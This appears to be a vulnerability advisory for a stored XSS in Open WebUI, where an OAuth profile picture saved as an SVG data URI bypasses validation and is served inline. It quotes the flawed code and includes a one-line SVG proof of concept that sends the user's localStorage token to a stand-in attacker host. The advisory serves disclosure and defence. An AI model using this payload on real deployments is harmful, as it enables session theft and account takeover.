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Open WebUI vulnerable to stored XSS via OAuth picture claim stored as SVG data URI in profile_image_url

CVE-2026-56398 · 2026-05-14 high

Class
AI Framework and Platform Flaws (filed by a model that read the advisory)
Technique
Cross-site scripting
Affected
open-webui (PyPI)
Gets past
Input filter or sanitiser
CVSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N
EPSS
0.6% chance of exploitation in 30 days

How it works, in short

The OAuth login path stores a remote picture as an SVG data URI that skips the image validator and is served inline, so its script runs on the app origin. (Our summary, written by a model. The source text is below.)

Details

Summary

When a user signs in via OAuth, Open WebUI fetches the picture claim URL, infers a MIME type from the URL extension via mimetypes.guess_type, and stores data:<mime>;base64,... as the user's profile image. The OAuth code path does not go through the validate_profile_image_url Pydantic validator that normally restricts profile images to PNG/JPEG/GIF/WebP. A .svg URL in the picture claim lands in the database as data:image/svg+xml;base64,....

The profile image endpoint GET /api/v1/users/{id}/profile/image returns the stored data URI with the attacker-controlled MIME type as Content-Type and Content-Disposition: inline. Security headers (CSP, X-Content-Type-Options) are env-gated and not set by default. An authenticated user navigating directly to that URL gets the SVG as a top-level document, executing <script>/onload in the same origin and able to read localStorage.token → account takeover.

Same class of trust-boundary error as CVE-2025-64496 (trust of untrusted model servers) and CVE-2025-64495 (rich-text XSS). Different sink, different code path.

Details

1. MIME inferred from URL extension, not Content-Type

backend/open_webui/utils/oauth.py:1336-1345 — _process_picture_url:

response = await client.get(picture_url, ...)
if response.status_code == 200:
    picture = response.content
    base64_encoded_picture = base64.b64encode(picture).decode("utf-8")
    guessed_mime_type = mimetypes.guess_type(picture_url)[0]
    if guessed_mime_type is None:
        guessed_mime_type = "image/jpeg"
    return f"data:{guessed_mime_type};base64,{base64_encoded_picture}"

No MIME allowlist. The upstream Content-Type is ignored. For a URL ending in .svg, mimetypes.guess_type returns image/svg+xml.

2. OAuth path bypasses the profile-image validator

backend/open_webui/utils/validate.py:10-36 defines validate_profile_image_url, which only accepts /user.png, /user-mono.png, and data:image/{png,jpeg,gif,webp};base64,....

This validator is wired into Pydantic form models (SignupForm, UpdateProfileForm, UserUpdateForm), but the OAuth flow at oauth.py:1536-1540 (existing-user login) and oauth.py:1556-1574 (new-user signup) writes via Users.update_user_profile_image_url_by_id and Auths.insert_new_auth, both of which call SQLAlchemy directly (models/users.py:575-588) without going through any Pydantic model. The SVG data URI lands in the DB unchallenged.

3. Endpoint serves attacker-controlled MIME with inline disposition

backend/open_webui/routers/users.py:504-528 — get_user_profile_image_by_id:

header, encoded = image.split(",", 1)
media_type = header.split(";")[0].lstrip("data:")  # "image/svg+xml"
data = base64.b64decode(encoded)
return StreamingResponse(
    iter([data]),
    media_type=media_type,
    headers={"Content-Disposition": "inline"},
)

No MIME whitelist. The route requires get_verified_user — any authenticated user reaches it.

4. No default CSP / nosniff

backend/open_webui/utils/security_headers.py:16-61 populates headers only when the operator sets the corresponding env var. The default deployment returns none of these. Browsers render a top-level image/svg+xml response as an XML document and execute embedded script.

PoC

Prerequisites: operator has OAuth signup enabled (ENABLE_OAUTH_SIGNUP=true) or OAuth login with picture sync (OAUTH_UPDATE_PICTURE_ON_LOGIN=true). The attacker has a valid identity on the configured IdP and can set their profile picture URL.

<svg xmlns="http://www.w3.org/2000/svg"
     onload="fetch('https://attacker.example/x?c='+encodeURIComponent(localStorage.getItem('token')))" />
https://target.example/api/v1/users/<attacker-user-id>/profile/image

Impact

Suggested fix

References

References

Source: GitHub Advisory Database, used under CC BY 4.0.